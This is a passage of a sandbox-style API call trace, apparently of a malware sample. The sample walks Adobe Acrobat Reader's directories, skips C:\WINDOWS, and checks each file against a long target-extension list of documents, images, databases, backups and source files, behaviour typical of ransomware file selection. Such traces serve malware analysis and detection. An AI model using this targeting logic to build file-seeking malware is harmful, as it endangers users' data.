-1 [0263.203] lstrlenW (lpString=".epsf") returned 5 [0263.203] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.203] lstrlenW (lpString=".epsp") returned 5 [0263.203] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.203] lstrlenW (lpString=".erf") returned 4 [0263.203] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".exr") returned 4 [0263.203] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".f4v") returned 4 [0263.203] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".fido") returned 5 [0263.203] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0263.203] lstrlenW (lpString=".flm") returned 4 [0263.203] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".flv") returned 4 [0263.203] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".frm") returned 4 [0263.203] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".fxg") returned 4 [0263.203] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".geo") returned 4 [0263.203] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".gif") returned 4 [0263.204] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".grs") returned 4 [0263.204] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".gz") returned 3 [0263.204] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0263.204] lstrlenW (lpString=".h") returned 2 [0263.204] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0263.204] lstrlenW (lpString=".hdr") returned 4 [0263.204] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".hpp") returned 4 [0263.204] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".hta") returned 4 [0263.204] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".htc") returned 4 [0263.204] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".htm") returned 4 [0263.204] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0263.204] lstrlenW (lpString=".html") returned 5 [0263.204] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0263.204] lstrlenW (lpString=".icb") returned 4 [0263.205] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".ics") returned 4 [0263.205] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".iff") returned 4 [0263.205] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".inc") returned 4 [0263.205] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".indd") returned 5 [0263.205] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0263.205] lstrlenW (lpString=".ini") returned 4 [0263.205] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".iqy") returned 4 [0263.205] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".j2c") returned 4 [0263.205] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".j2k") returned 4 [0263.205] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0263.205] lstrlenW (lpString=".java") returned 5 [0263.205] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0263.205] lstrlenW (lpString=".jp2") returned 4 [0263.205] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".jpc") returned 4 [0263.206] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".jpe") returned 4 [0263.206] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".jpeg") returned 5 [0263.206] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0263.206] lstrlenW (lpString=".jpf") returned 4 [0263.206] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".jpg") returned 4 [0263.206] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".jpx") returned 4 [0263.206] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0263.206] lstrlenW (lpString=".js") returned 3 [0263.206] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0263.206] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.207] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0263.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.207] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0263.207] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 105 [0263.207] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 1 [0263.207] lstrlenW (lpString="sl-si") returned 5 [0263.207] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1 [0263.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.207] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si") returned 105 [0263.207] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0263.208] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.208] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.208] lstrlenW (lpString="ui-strings.js") returned 13 [0263.208] lstrlenW (lpString=".1cd") returned 4 [0263.208] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.208] lstrlenW (lpString=".3ds") returned 4 [0263.208] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.209] lstrlenW (lpString=".3fr") returned 4 [0263.209] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.209] lstrlenW (lpString=".3g2") returned 4 [0263.209] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.209] lstrlenW (lpString=".3gp") returned 4 [0263.209] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.209] lstrlenW (lpString=".7z") returned 3 [0263.209] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.209] lstrlenW (lpString=".accda") returned 6 [0263.209] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.209] lstrlenW (lpString=".accdb") returned 6 [0263.209] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.210] lstrlenW (lpString=".accdc") returned 6 [0263.210] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.210] lstrlenW (lpString=".accde") returned 6 [0263.210] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.210] lstrlenW (lpString=".accdt") returned 6 [0263.211] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.211] lstrlenW (lpString=".accdw") returned 6 [0263.211] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.211] lstrlenW (lpString=".adb") returned 4 [0263.211] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".adp") returned 4 [0263.211] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai") returned 3 [0263.211] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.211] lstrlenW (lpString=".ai3") returned 4 [0263.211] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai4") returned 4 [0263.211] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai5") returned 4 [0263.211] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai6") returned 4 [0263.211] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai7") returned 4 [0263.211] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.211] lstrlenW (lpString=".ai8") returned 4 [0263.211] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.212] lstrlenW (lpString=".anim") returned 5 [0263.212] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.212] lstrlenW (lpString=".arw") returned 4 [0263.212] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.212] lstrlenW (lpString=".as") returned 3 [0263.212] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.212] lstrlenW (lpString=".asa") returned 4 [0263.212] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.212] lstrlenW (lpString=".asc") returned 4 [0263.212] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.212] lstrlenW (lpString=".ascx") returned 5 [0263.212] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.212] lstrlenW (lpString=".asm") returned 4 [0263.212] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.212] lstrlenW (lpString=".asmx") returned 5 [0263.213] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.213] lstrlenW (lpString=".asp") returned 4 [0263.213] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.213] lstrlenW (lpString=".aspx") returned 5 [0263.213] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.213] lstrlenW (lpString=".asr") returned 4 [0263.213] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.213] lstrlenW (lpString=".asx") returned 4 [0263.213] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.213] lstrlenW (lpString=".avi") returned 4 [0263.213] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.213] lstrlenW (lpString=".avs") returned 4 [0263.213] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.213] lstrlenW (lpString=".backup") returned 7 [0263.213] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.214] lstrlenW (lpString=".bak") returned 4 [0263.214] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".bay") returned 4 [0263.214] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".bd") returned 3 [0263.214] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.214] lstrlenW (lpString=".bin") returned 4 [0263.214] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".bmp") returned 4 [0263.214] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".bz2") returned 4 [0263.214] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".c") returned 2 [0263.214] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.214] lstrlenW (lpString=".cdr") returned 4 [0263.214] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".cer") returned 4 [0263.214] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.214] lstrlenW (lpString=".cf") returned 3 [0263.214] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.215] lstrlenW (lpString=".cfc") returned 4 [0263.215] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".cfm") returned 4 [0263.215] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".cfml") returned 5 [0263.215] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.215] lstrlenW (lpString=".cfu") returned 4 [0263.215] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".chm") returned 4 [0263.215] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".cin") returned 4 [0263.215] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".class") returned 6 [0263.215] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.215] lstrlenW (lpString=".clx") returned 4 [0263.215] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.215] lstrlenW (lpString=".config") returned 7 [0263.215] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.215] lstrlenW (lpString=".cpp") returned 4 [0263.215] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".cr2") returned 4 [0263.216] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".crt") returned 4 [0263.216] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".crw") returned 4 [0263.216] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".cs") returned 3 [0263.216] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.216] lstrlenW (lpString=".css") returned 4 [0263.216] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".csv") returned 4 [0263.216] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".cub") returned 4 [0263.216] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".dae") returned 4 [0263.216] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.216] lstrlenW (lpString=".dat") returned 4 [0263.217] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".db") returned 3 [0263.217] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.217] lstrlenW (lpString=".dbf") returned 4 [0263.217] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dbx") returned 4 [0263.217] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dc3") returned 4 [0263.217] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dcm") returned 4 [0263.217] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dcr") returned 4 [0263.217] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".der") returned 4 [0263.217] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dib") returned 4 [0263.217] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dic") returned 4 [0263.217] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.217] lstrlenW (lpString=".dif") returned 4 [0263.217] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.809] lstrlenW (lpString=".divx") returned 5 [0263.809] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.809] lstrlenW (lpString=".djvu") returned 5 [0263.809] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.810] lstrlenW (lpString=".dng") returned 4 [0263.810] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".doc") returned 4 [0263.810] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".docm") returned 5 [0263.810] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.810] lstrlenW (lpString=".docx") returned 5 [0263.810] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.810] lstrlenW (lpString=".dot") returned 4 [0263.810] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".dotm") returned 5 [0263.810] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.810] lstrlenW (lpString=".dotx") returned 5 [0263.810] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.810] lstrlenW (lpString=".dpx") returned 4 [0263.810] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".dqy") returned 4 [0263.810] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".dsn") returned 4 [0263.810] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.810] lstrlenW (lpString=".dt") returned 3 [0263.811] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.811] lstrlenW (lpString=".dtd") returned 4 [0263.811] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".dwg") returned 4 [0263.811] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".dwt") returned 4 [0263.811] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".dx") returned 3 [0263.811] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.811] lstrlenW (lpString=".dxf") returned 4 [0263.811] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".edml") returned 5 [0263.811] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.811] lstrlenW (lpString=".efd") returned 4 [0263.811] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".elf") returned 4 [0263.811] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.811] lstrlenW (lpString=".emf") returned 4 [0263.812] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.812] lstrlenW (lpString=".emz") returned 4 [0263.812] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.812] lstrlenW (lpString=".epf") returned 4 [0263.812] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.812] lstrlenW (lpString=".eps") returned 4 [0263.812] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.812] lstrlenW (lpString=".epsf") returned 5 [0263.812] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.812] lstrlenW (lpString=".epsp") returned 5 [0263.812] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.812] lstrlenW (lpString=".erf") returned 4 [0263.812] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.812] lstrlenW (lpString=".exr") returned 4 [0263.812] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.813] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.813] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0263.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.813] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0263.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.814] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl") returned 105 [0263.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0263.815] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0263.815] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0263.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0263.815] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 105 [0263.815] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 1 [0263.815] lstrlenW (lpString="sv-se") returned 5 [0263.815] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0263.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.815] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se") returned 105 [0263.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0263.816] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.816] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: 